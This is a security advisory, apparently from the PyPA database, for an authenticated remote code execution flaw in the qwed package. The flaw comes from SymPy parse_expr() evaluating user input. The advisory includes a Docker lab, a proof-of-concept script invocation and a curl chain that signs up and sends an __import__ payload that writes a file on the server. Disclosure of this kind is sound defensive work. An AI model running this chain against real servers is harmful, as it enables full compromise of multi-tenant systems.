qwed
Affected
- introduced
0, fixed5.1.2(ecosystem)
Fixed versions
5.1.2
Fix
- Fixed version
5.1.2pip install --upgrade qwed==5.1.2
Advisory
Also known as: CVE-2026-55585, GHSA-q27q-98j4-9pfv
qwed Vulnerable to Authenticated Remote Code Execution via Unsafe SymPy parse_expr()
Summary
The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parse_expr() function without a restricted namespace. Because parse_expr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.
Details
The vulnerability exists in two independently reachable code paths:
Primary sink — `POST /verify/math`
src/qwed_new/api/main.py:442 defines the /verify/math route, protected only by get_current_tenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1*\2', expression)) that performs no security validation. The normalized string is then passed directly to parse_expr() at line 504:
# src/qwed_new/api/main.py
expression = request.get("expression")
...
expression_normalized = re.sub(r'(\d)(\()', r'\1*\2', expression)
...
parsed = parse_expr(expression_normalized) # line 504 — unsandboxed eval
Secondary sink — `POST /verify/batch`
src/qwed_new/api/main.py:1481 defines the /verify/batch route. Batch items flow through batch_service.create_job() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by _verify_item() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parse_expr() at line 239 with no sanitization:
# src/qwed_new/core/batch.py
expression = item.query
...
parsed = parse_expr(expression) # line 239 — unsandboxed eval
parse_expr() accepts a global_dict and local_dict parameter that, when set to {"__builtins__": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.
PoC
Environment setup (Docker)
# Build from repository root (one level above vuln-001/)
docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
# Run the server (binds to localhost:8765)
docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:
QWED_JWT_SECRET_KEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789API_KEY_SECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789QWED_CORS_ORIGINS=http://localhostQWED_SKIP_ENV_INTEGRITY_CHECK=trueDATABASE_URL=sqlite:////tmp/qwed-poc.dbAutomated exploit (`poc.py`)
python3 vuln-001/poc.py --host 127.0.0.1 --port 8765
The script performs three steps:
POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required).POST /auth/api-keys using the JWT returned from signup.POST /verify/math with the x-api-key header and the expression:__import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
Expected output
[+] Server is ready.
[+] Account created; JWT bearer token obtained.
[+] API key (first 20 chars): qwed_live_WwNm86Fpnh...
[*] expression = __import__('pathlib').Path('/tmp/qwed_parse_expr_rce').write_text('pwned_by_parse_expr_rce')
[*] HTTP status : 200
[*] HTTP response: {"is_valid": true, "value": 23.0, "simplified": "23", "original": "23"}
[PASS] HTTP 200 returned — payload evaluated without error.
The server returns HTTP 200 and {"value": 23.0} — the return value of write_text() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.
Decisive verification
docker exec qwed-vuln-001 cat /tmp/qwed_parse_expr_rce
# Expected: pwned_by_parse_expr_rce
The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwed_batch_parse_expr_rce was also confirmed during dynamic testing.
Manual curl reproduction (no Python script)
# Step 1: sign up and capture JWT
TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"Password123!","organization_name":"poc-org"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["access_token"])')
# Step 2: create API key
APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"name":"poc"}' \
| python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
# Step 3: send payload
rm -f /tmp/qwed_parse_expr_rce
curl -sS -X POST http://127.0.0.1:8765/verify/math \
-H 'Content-Type: application/json' \
-H "x-api-key: $APIKEY" \
-d '{"expression":"__import__('"'"'pathlib'"'"').Path('"'"'/tmp/qwed_parse_expr_rce'"'"').write_text('"'"'owned'"'"')"}'
# Step 4: confirm file was written by the server process
cat /tmp/qwed_parse_expr_rce
# Expected: owned
Impact
This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.
Concrete impact includes:
In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.
Reproduction artifacts
Dockerfile
# VULN-001 Reproduction Environment
# Authenticated RCE via Unsafe SymPy parse_expr() in QWED 5.1.1
#
# Build from the repo root (one level above vuln-001/):
# docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
#
# Run:
# docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
FROM python:3.12-slim-bookworm
ENV PYTHONDONTWRITEBYTECODE=1 \
PYTHONUNBUFFERED=1
WORKDIR /app
# Install minimal build dependencies required by some native extensions
RUN apt-get update \
&& apt-get install -y --no-install-recommends gcc g++ \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Copy the repository source
COPY repo/ /app/repo/
# Install hatchling build backend, then install the package with all dependencies
# z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12
RUN pip install --no-cache-dir --upgrade pip hatchling \
&& pip install --no-cache-dir -e /app/repo
# Runtime environment variables — minimal set required to start the server
ENV QWED_JWT_SECRET_KEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
API_KEY_SECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \
QWED_CORS_ORIGINS="http://localhost" \
QWED_SKIP_ENV_INTEGRITY_CHECK="true" \
DATABASE_URL="sqlite:////tmp/qwed-poc.db"
EXPOSE 8765
CMD ["python3", "-m", "uvicorn", "qwed_new.api.main:app", \
"--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]High Basis: CVSS v3 score 8.8, vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0, fixed 5.1.2 (ecosystem)5.1.2
5.1.2pip install --upgrade qwed==5.1.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0